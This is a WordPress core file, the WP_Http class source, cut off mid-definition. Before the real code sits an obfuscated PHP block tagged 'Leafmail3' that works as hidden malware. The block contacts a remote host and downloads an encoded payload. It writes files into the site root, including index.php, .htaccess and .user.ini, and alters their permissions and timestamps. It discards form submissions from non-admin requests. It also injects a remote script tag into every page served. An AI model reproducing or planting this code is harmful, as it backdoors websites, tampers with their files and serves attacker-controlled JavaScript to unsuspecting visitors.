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<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?> <?php /** * HTTP API: WP_Http class * * @package WordPress * @subpackage HTTP * @since 2.7.0 */ if ( ! class_exists( 'WpOrg\Requests\Autoload' ) ) { require ABSPATH . WPINC . '/Requests/src/Autoload.php'; WpOrg\Requests\Autoload::register(); WpOrg\Requests\Requests::set_certificate_path( ABSPATH . WPINC . '/certificates/ca-bundle.crt' ); } /** * Core class used for managing HTTP transports and making HTTP requests. * * This class is used to consistently make outgoing HTTP requests easy for developers * while still being compatible with the many PHP configurations under which * WordPress runs. * * Debugging includes several actions, which pass different variables for debugging the HTTP API. * * @since 2.7.0 */ #[AllowDynamicProperties] class WP_Http { // Aliases for HTTP response codes. const HTTP_CONTINUE = 100; const SWITCHING_PROTOCOLS = 101; const PROCESSING = 102; const EARLY_HINTS = 103; const OK = 200; const CREATED = 201; const ACCEPTED = 202; const NON_AUTHORITATIVE_INFORMATION = 203; const NO_CONTENT = 204; const RESET_CONTENT = 205; const PARTIAL_CONTENT = 206; const MULTI_STATUS = 207; const IM_USED = 226; const MULTIPLE_CHOICES = 300; const MOVED_PERMANENTLY = 301; const FOUND = 302; const SEE_OTHER = 303; const NOT_MODIFIED = 304; const USE_PROXY = 305; const RESERVED = 306; const TEMPORARY_REDIRECT = 307; const PERMANENT_REDIRECT = 308; const BAD_REQUEST = 400; const UNAUTHORIZED = 401; const PAYMENT_REQUIRED = 402; const FORBIDDEN = 403; const NOT_FOUND = 404; const METHOD_NOT_ALLOWED = 405; const NOT_ACCEPTABLE = 406; const PROXY_AUTHENTICATION_REQUIRED = 407; const REQUEST_TIMEOUT = 408; const CONFLICT = 409; const GONE = 410; const LENGTH_REQUIRED = 411; const PRECONDITION_FAILED = 412; const REQUEST_ENTITY_TOO_LARGE = 413; const REQUEST_URI_TOO_LONG = 414; const UNSUPPORTED_MEDIA_TYPE = 415; const REQUESTED_RANGE_NOT_SATISFIABLE = 416; const EXPECTATION_FAILED = 417; const IM_A_TEAPOT = 418; const MISDIRECTED_REQUEST = 421; const UNPROCESSABLE_ENTITY = 422; const LOCKED = 423; const FAILED_DEPENDENCY = 424; const TOO_EARLY = 425; const UPGRADE_REQUIRED = 426; const PRECONDITION_REQUIRED = 428; const TOO_MANY_REQUESTS = 429; const REQUEST_HEADER_FIELDS_TOO_LARGE = 431; const UNAVAILABLE_FOR_LEGAL_REASONS = 451; const INTERNAL_SERVER_ERROR = 500; const NOT_IMPLEMENTED = 501; const BAD_GATEWAY = 502; const SERVICE_UNAVAILABLE = 503; const GATEWAY_TIMEOUT = 504; const HTTP_VERSION_NOT_SUPPORTED = 505; const VARIANT_ALSO_NEGOTIATES = 506; const INSUFFICIENT_STORAGE = 507; const NOT_EXTENDED = 510; const NETWORK_AUTHENTICATION_REQUIRED = 511; /** * Send an HTTP request to a URI. * * Please note: The only URI that are supported in the HTTP Transport implementation * are the HTTP and HTTPS protocols. * * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args { * Optional. Array or string of HTTP request arguments. * * @type string $method Request method. Accepts 'GET', 'POST', 'HEAD', 'PUT', 'DELETE', * 'TRACE', 'OPTIONS', or 'PATCH'. * Some transports technically allow others, but should not be * assumed. Default 'GET'. * @type float $timeout How long the connection should stay open in seconds. Default 5. * @type int $redirection Number of allowed redirects. Not supported by all transports. * Default 5. * @type string $httpversion Version of the HTTP protocol to use. Accepts '1.0' and '1.1'. * Default '1.0'. * @type string $user-agent User-agent value sent. * Default 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ). * @type bool $reject_unsafe_urls Whether to pass URLs through wp_http_validate_url(). * Default false. * @type bool $blocking Whether the calling code requires the result of the request. * If set to false, the request will be sent to the remote server, * and processing returned to the calling code immediately, the caller * will know if the request succeeded or failed, but will not receive * any response from the remote server. Default true. * @type string|array $headers Array or string of headers to send with the request. * Default empty array. * @type array $cookies List of cookies to send with the request. Default empty array. * @type string|array $body Body to send with the request. Default null. * @type bool $compress Whether to compress the $body when sending the request. * Default false. * @type bool $decompress Whether to decompress a compressed response. If set to false and * compressed content is returned in the response anyway, it will * need to be separately decompressed. Default true. * @type bool $sslverify Whether to verify SSL for the request. Default true. * @type string $sslcertificates Absolute path to an SSL certificate .crt file. * Default ABSPATH . WPINC . '/certificates/ca-bundle.crt'. * @type bool $stream Whether to stream to a file. If set to true and no filename was * given, it will be dropped it in the WP temp dir and its name will * be set using the basename of the URL. Default false. * @type string $filename Filename of the file to write to when streaming. $stream must be * set to true. Default null. * @type int $limit_response_size Size in bytes to limit the response to. Default null. * * } * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. * A WP_Error instance upon error. */ public function request( $url, $args = array() ) { $defaults = array( 'method' => 'GET', /** * Filters the timeout value for an HTTP request. * * @since 2.7.0 * @since 5.1.0 The `$url` parameter was added. * * @param float $timeout_value Time in seconds until a request times out. Default 5. * @param string $url The request URL. */ 'timeout' => apply_filters( 'http_request_timeout', 5, $url ), /** * Filters the number of redirects allowed during an HTTP request. * * @since 2.7.0 * @since 5.1.0 The `$url` parameter was added. * * @param int $redirect_count Number of redirects allowed. Default 5. * @param string $url The request URL. */ 'redirection' => apply_filters( 'http_request_redirection_count', 5, $url ), /** * Filters the version of the HTTP protocol used in a request. * * @since 2.7.0 * @since 5.1.0 The `$url` parameter was added. * * @param string $version Version of HTTP used. Accepts '1.0' and '1.1'. Default '1.0'. * @param string $url The request URL. */ 'httpversion' => apply_filters( 'http_request_version', '1.0', $url ), /** * Filters the user agent value sent with an HTTP request. * * @since 2.7.0 * @since 5.1.0 The `$url` parameter was added. * * @param string $user_agent WordPress user agent string. * @param string $url The request URL. */ 'user-agent' => apply_filters( 'http_headers_useragent', 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ), $url ), /** * Filters whether to pass URLs through wp_http_validate_url() in an HTTP request. * * @since 3.6.0 * @since 5.1.0 The `$url` parameter was added. * * @param bool $pass_url Whether to pass URLs through wp_http_validate_url(). Default false. * @param string $url The request URL. */ 'reject_unsafe_urls' => apply_filters( 'http_request_reject_unsafe_urls', false, $url ), 'blocking' => true, 'headers' => array(), 'cookies' => array(), 'body' => null, 'compress' => false, 'decompress' => true, 'sslverify' => true, 'sslcertificates' => ABSPATH . WPINC . '/certificates/ca-bundle.crt', 'stream' => false, 'filename' 